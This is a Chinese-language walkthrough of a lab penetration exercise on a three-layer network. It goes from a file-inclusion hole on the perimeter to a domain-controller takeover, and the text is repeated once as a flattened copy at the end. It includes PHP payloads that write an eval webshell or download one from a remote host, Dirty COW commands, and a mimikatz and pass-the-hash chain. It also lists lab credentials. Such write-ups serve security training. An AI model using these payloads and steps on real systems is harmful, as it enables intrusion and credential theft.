记一次三层网络环境的靶场渗透
字数 2030 2025-08-19 12:41:36

三层网络环境靶场渗透实战教学文档

环境准备

  1. 修改hosts文件
    • 路径:C:\Windows\System32\drivers\etc\hosts
    • 添加以下配置:
      172.16.6.10 www.theyer.com
      172.16.6.10 shop.theyer.com
      

外网边界渗透

信息收集

  1. 子域名发现

    • 发现子域名:shop.theyer.com
  2. 目录扫描

    • 发现upload目录(后续利用点)
  3. 端口扫描

    • 发现开放3306端口(MySQL),尝试爆破无果

入口点一:文件包含漏洞利用

  1. 漏洞发现

    • URL:http://shop.theyer.com/index.php?page=about.php
    • 存在文件包含漏洞
  2. 漏洞验证

    • 使用php://input伪协议执行PHP函数成功
  3. 写入Webshell方法

    • 方法一:直接写入
      <?php echo `echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pPz4=|base64 -d > upload/shell.php`; ?>
      
    • 方法二:远程下载
      <?php copy("http://172.16.8.2/1.txt", "upload/shell.php"); ?>
      
    • 注意:直接写入当前目录可能无权限,upload目录通常有写权限
  4. 获取第一个flag

    • 通过菜刀连接后,在www目录发现第一个flag

提权操作

  1. 当前用户

    • centos用户(非root)
  2. 内核提权

    • 检查内核版本,使用脏牛(Dirty Cow)提权
    • 步骤:
      gcc -pthread dirty.c -o dirty -lcrypt
      ./dirty test123
      
    • 提权成功后通过SSH连接
    • 获取第二个flag

入口点二:APK渗透

  1. APK分析

    • www.theyer.com下载APK
    • 修改后缀为zip获取class.dex
    • 反汇编找到接口URL:.php?id=1
  2. SQL注入

    • 对接口进行SQL注入测试,成功

内网渗透

网络发现

  1. 双网卡信息

    • 发现内网网段:192.168.6.0/24
  2. 代理设置

    • 上传reGeorg,配置代理进行内网扫描

主机192.168.6.17渗透

  1. 信息收集

    • 开放80端口
    • 目录扫描(注意控制速度):
      python3 dirsearch.py -u http://192.168.6.17/ -e * --delay 0.1
      
    • 发现admin目录
  2. JS源码分析

    • 发现泄漏的API接口:http://192.168.6.17/message.php?id=1
  3. SQL注入利用

    • 使用sqlmap:
      • 发现flag表和flag字段
      • 获取admin表密码:admin/37s984pass(MD5解密)
  4. 后台getshell

    • 登录后台(admin/37s984pass)
    • 在个人信息上传处上传图片马getshell
    • Webshell路径:http://192.168.6.17/upload/images/20200806121306.php
    • 获取根目录flag

主机192.168.6.16渗透(邮件服务器)

  1. 配置信息泄露

    • /inc/config.php获取:
      • SMTP服务器:192.168.6.16
      • 凭据:zhangming@test.com/fgpass2814
      • MySQL:myoa/myoa123123
  2. Web登录

    • 使用邮箱凭据成功登录
  3. Cookie注入

    • 发现cookie中id=1存在SQL注入
    • 获取管理员凭据:admin/22f2e5ec0bf4b85554c755993e2ba67f(解密为2_333admin
  4. Tomcat弱口令

    • 8080端口为Tomcat
    • 弱口令:tomcat/tomcat
    • 部署war包getshell
    • 获取/var/www和root目录下的flag
  5. 数据库连接

    • 使用蚁剑连接数据库(注意webshell需要执行权限)
    • 获取更多凭据信息

主机192.168.6.200渗透(管理员主机)

  1. 日志分析

    • /var/log/apache2/access_log发现192.168.6.200访问记录
    • 推测为管理员主机
  2. RDP爆破

    • 使用收集的密码组合字典
    • 成功登录:192.168.6.200:3389,凭据admin/2_333admin
  3. 提权操作

    • 检查系统补丁,使用MS15-051提权
    • 全盘搜索flag:
      dir c:\ /s /b | find "flag"
      

域控渗透

  1. 域环境发现

    • 域名:myad.com
    • 域控IP:10.1.1.10(通过ping和nslookup确认)
  2. 凭据获取

    • 使用mimikatz获取:
      • administrator明文:ppx()0778
      • admin明文和$server的hash
  3. 域控登录

    • 方法一:使用明文凭据
      • administrator/ppx()0778
    • 方法二:哈希传递
    • 访问\\10.1.1.10\c$获取最终flag

关键知识点总结

  1. 文件包含漏洞利用

    • php伪协议使用
    • 写入webshell的多种方法
  2. 提权技术

    • 脏牛提权(Linux)
    • MS15-051提权(Windows)
  3. 内网渗透技巧

    • 代理使用(reGeorg)
    • 日志分析获取关键信息
    • 凭据重用攻击
  4. 域渗透技术

    • mimikatz使用
    • 哈希传递攻击
  5. 工具使用

    • sqlmap
    • dirsearch
    • 蚁剑/菜刀
  6. 密码策略

    • 密码收集与整理
    • 密码爆破技巧

本教学文档完整还原了三层网络环境下的渗透过程,从外网边界突破到内网横向移动,最终获取域控权限的全流程。

三层网络环境靶场渗透实战教学文档 环境准备 修改hosts文件 : 路径: C:\Windows\System32\drivers\etc\hosts 添加以下配置: 外网边界渗透 信息收集 子域名发现 : 发现子域名: shop.theyer.com 目录扫描 : 发现 upload 目录(后续利用点) 端口扫描 : 发现开放3306端口(MySQL),尝试爆破无果 入口点一:文件包含漏洞利用 漏洞发现 : URL: http://shop.theyer.com/index.php?page=about.php 存在文件包含漏洞 漏洞验证 : 使用 php://input 伪协议执行PHP函数成功 写入Webshell方法 : 方法一:直接写入 方法二:远程下载 注意 :直接写入当前目录可能无权限, upload 目录通常有写权限 获取第一个flag : 通过菜刀连接后,在www目录发现第一个flag 提权操作 当前用户 : centos用户(非root) 内核提权 : 检查内核版本,使用脏牛(Dirty Cow)提权 步骤: 提权成功后通过SSH连接 获取第二个flag 入口点二:APK渗透 APK分析 : 从 www.theyer.com 下载APK 修改后缀为zip获取 class.dex 反汇编找到接口URL: .php?id=1 SQL注入 : 对接口进行SQL注入测试,成功 内网渗透 网络发现 双网卡信息 : 发现内网网段:192.168.6.0/24 代理设置 : 上传reGeorg,配置代理进行内网扫描 主机192.168.6.17渗透 信息收集 : 开放80端口 目录扫描(注意控制速度): 发现 admin 目录 JS源码分析 : 发现泄漏的API接口: http://192.168.6.17/message.php?id=1 SQL注入利用 : 使用sqlmap: 发现flag表和flag字段 获取admin表密码: admin/37s984pass (MD5解密) 后台getshell : 登录后台(admin/37s984pass) 在个人信息上传处上传图片马getshell Webshell路径: http://192.168.6.17/upload/images/20200806121306.php 获取根目录flag 主机192.168.6.16渗透(邮件服务器) 配置信息泄露 : 从 /inc/config.php 获取: SMTP服务器:192.168.6.16 凭据: zhangming@test.com/fgpass2814 MySQL: myoa/myoa123123 Web登录 : 使用邮箱凭据成功登录 Cookie注入 : 发现cookie中 id=1 存在SQL注入 获取管理员凭据: admin/22f2e5ec0bf4b85554c755993e2ba67f (解密为 2_333admin ) Tomcat弱口令 : 8080端口为Tomcat 弱口令: tomcat/tomcat 部署war包getshell 获取 /var/www 和root目录下的flag 数据库连接 : 使用蚁剑连接数据库(注意webshell需要执行权限) 获取更多凭据信息 主机192.168.6.200渗透(管理员主机) 日志分析 : 从 /var/log/apache2/access_log 发现192.168.6.200访问记录 推测为管理员主机 RDP爆破 : 使用收集的密码组合字典 成功登录: 192.168.6.200:3389 ,凭据 admin/2_333admin 提权操作 : 检查系统补丁,使用MS15-051提权 全盘搜索flag: 域控渗透 域环境发现 : 域名: myad.com 域控IP:10.1.1.10(通过ping和nslookup确认) 凭据获取 : 使用mimikatz获取: administrator明文: ppx()0778 admin明文和$server的hash 域控登录 : 方法一:使用明文凭据 administrator/ppx()0778 方法二:哈希传递 访问 \\10.1.1.10\c$ 获取最终flag 关键知识点总结 文件包含漏洞利用 : php伪协议使用 写入webshell的多种方法 提权技术 : 脏牛提权(Linux) MS15-051提权(Windows) 内网渗透技巧 : 代理使用(reGeorg) 日志分析获取关键信息 凭据重用攻击 域渗透技术 : mimikatz使用 哈希传递攻击 工具使用 : sqlmap dirsearch 蚁剑/菜刀 密码策略 : 密码收集与整理 密码爆破技巧 本教学文档完整还原了三层网络环境下的渗透过程,从外网边界突破到内网横向移动,最终获取域控权限的全流程。